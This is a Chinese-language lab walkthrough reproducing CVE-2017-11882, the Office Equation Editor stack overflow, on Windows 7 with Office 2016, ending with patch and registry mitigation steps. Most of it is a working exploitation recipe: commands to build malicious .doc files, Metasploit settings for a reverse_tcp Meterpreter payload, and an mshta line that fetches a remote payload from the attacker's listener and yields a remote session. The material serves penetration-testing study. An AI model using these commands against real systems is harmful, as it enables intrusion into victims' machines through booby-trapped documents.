CVE-2017-11882复现【通过】

从漏洞利用效果来看,它可以通杀Office 2003到2016的所有版本。

此漏洞是由Office软件里面的 [公式编辑器] 造成的,成因是EQNEDT32.EXE进程在读入包含MathType的ole数据时,在拷贝公式字体名称(Font Name数据)时没有对名称长度进行校验,从而造成栈缓冲区溢出,是一个非常经典的栈溢出漏洞。函数给Font Name数据分配的大小是0x24个字节,超过该大小就会造成溢出。

影响版本:

office 2003 office 2007 office 2010 office 2013 office 2016

漏洞复现环境

kali 19

windows 7 sp1(office 2016)

*理论上和操作系统无关,w7和w10都可以

实验前提

安装office 2016

将cve_2017_11882.rb拷贝到metasploit目录中/usr/share/metasploit-framework/modules/exploits/windows/smb

将Command109b_CVE-2017-11882.py拷贝到主目录下

分析

1554358726297

调用模块WinExec,将cmd.exe /c calc.exe做为参数传入执行,实现调用。

测试实验

先弹个计算器测试下(上传至w7)

kali下运行(生成doc)

python Command109b_CVE-2017-11882.py -c "cmd.exe /c calc.exe" -o test.doc

1553569205609

实验

打开Metasploit

msfconsole

使用模块

msf > use exploit/windows/smb/cve_2017_11882

设置tcp反弹会话

msf exploit(CVE-2017-11882) > set payload windows/meterpreter/reverse_tcp

设置kali ip地址

msf exploit(CVE-2017-11882) > set lhost 192.168.253.129

设置路径为test,可自定义

msf exploit(CVE-2017-11882) > set uripath test

开启渗透,进入监听状态

msf exploit(CVE-2017-11882) > exploit

使用Command109b_CVE-2017-11882.py模块,生成带有shell的doc文件:

python Command109b_CVE-2017-11882.py -c "mshta http://192.168.253.129:8080/test" -o test-1.doc

1553569038325

运行文档后

kali

查看会话(发现已经有回连)

sessions

切换到回链1

sessions -1

1553569157085

漏洞修复

1.下载微软对此漏洞补丁:https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-11882,并且开启自动更新功能

2.在注册表中禁用该漏洞模块

reg add "HKLM\SOFTWARE\Microsoft\Office\XX.X\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD /d 0x400

reg add "HKLM\SOFTWARE\Wow6432Node\Microsoft\Office\XX.X\Common\COM Compatibility{0002CE02-0000-0000-C000-000000000046}" /v "Compatibility Flags" /t REG_DWORD/d 0x400